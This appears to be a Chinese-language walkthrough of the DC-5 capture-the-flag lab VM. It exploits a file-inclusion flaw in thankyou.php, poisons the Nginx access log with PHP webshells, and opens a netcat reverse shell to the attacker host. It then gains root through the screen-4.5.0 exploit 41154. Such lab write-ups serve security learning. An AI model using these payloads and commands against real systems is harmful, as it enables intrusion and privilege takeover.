1.主机发现:sudo arp-scan -l,发现靶机ip为192.168.225.145
2.扫描端口,发现开启了三个端口:
nmap 192.168.225.145 -sV -sC -Pn -n -v -T5 -p-
3.访问页面,发现contact页面在提交留言后,出现改变,年份刷新一次改变一次,与提示相符,直接去访问thankyou.php也是一样的:
4.扫描目录:发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面
5.对状态为200的文件进行访问,注意:访问状态为200的文件,当访问到footer.php文件时,刷新一次年份会发生改变。
6.之前在thankyou.php中看到了这种情况(没网页刷新一次,年份都会发生变化),因此我们猜测thinkyou.php调用了footer.php,于是想到了文件包含漏洞
7.尝试是否存在文件包含,使用burp抓包:
/thankyou.php?file=/etc/passwd
发现确实存在文件包含
8.将一句话木马写入到php的日志文件中,包含文件:
在前面的nmap扫描中,我们已经知道该web服务器使用的是Nginx服务,并且在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿shell,写入phpinfo()进行探测,是否可以包含成功。
<?php phpinfo(); ?>
9.通过日志文件log查看是否写入成功,日志路径为:/var/log/nginx/access.log是系统默认路径,成功写入:
10.直接写系统执行语句,尝试能否带入命令:
通过BurpSuite抓包,并写入PHP的执行系统命令
<?php passthru($_GET['c']); ?>
关于passthru()函数的快速描述
passthru - 执行外部程序并显示原始输出
11.访问url看是不是写进去了:
http://192.168.225.145/thankyou.php?file=/var/log/nginx/access.log&c=cat /etc/passwd
注意:
当我们写入一句话木马:<?php @eval($_POST['cmd']);?>,可以通过写入日志文件的路径可以连接,但是蚁剑里面不能够打开终端。可能DC-5后台将eval函数被禁止了。所以我们只能选择别的道路,进行解决。
12.写入反弹shell的命令:
http://192.168.225.145/thankyou.php?file=/var/log/nginx/access.log&c=nc 192.168.225.133 7777 -c /bin/bash
13.成功反弹shell,进入交互式界面:
python -c "import pty;pty.spawn('/bin/bash')"
14.查看具有特殊权限的二进制文件,查找一下可以用root权限运行的命令
find / -perm -u=s -type f 2>/dev/null
15.这里我们发现了一个screen-4.5.0的这个特殊文件,searchsploit screen4.5.0一下,找到这个:
16.直接利用/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件
先把这两个文件拷贝到根目录叭:
cp /usr/share/exploitdb/exploits/linux/local/41152.txt
cp /usr/share/exploitdb/exploits/linux/local/41154.sh
17.查看一下如何使用
18.以下是漏洞脚本文件的利用:
1)将41154.sh中上面一部分c语言代码另存为dc5.c,编译dc5.c文件
gcc -fPIC -shared -ldl -o dc.so dc5.c
2)将41154.sh中下面一部分c语言代码另存为dc-5.c编译dc-5.c文件
gcc -o dc-5 dc-5.c
3.将41154.sh中剩下部分代码另存为dc5.sh脚本文件,并在保存dc5.sh文件输入:set ff=unix,否则在执行脚本文件时后出错
4.用蚁剑连接,将这三个文件上传到服务器的/tmp目录下
5.为dc.sh增加可执行权限,执行dc.sh文件,成功获取到root权限
cd /tmp
chmod +x dc5.sh
./dc5.sh
6.获取root权限后,进入root目录下,成功获取flag文档
cd /root
最后让我不用蚁剑,再试一下ssh远程拷贝:
scp root@192.168.225.133:dc.so /tmp/
scp root@192.168.225.133:dc-5 /tmp/
4)开启一下kali的ssh服务:
首先修改一下配置文件的这两个地方:
/etc/init.d/ssh start 启动ssh服务
service ssh status 查看是否启动成功
很烦……
复现不出来,一直在调bug,今天脑壳太乱了
改天一定搞出来!监督自己!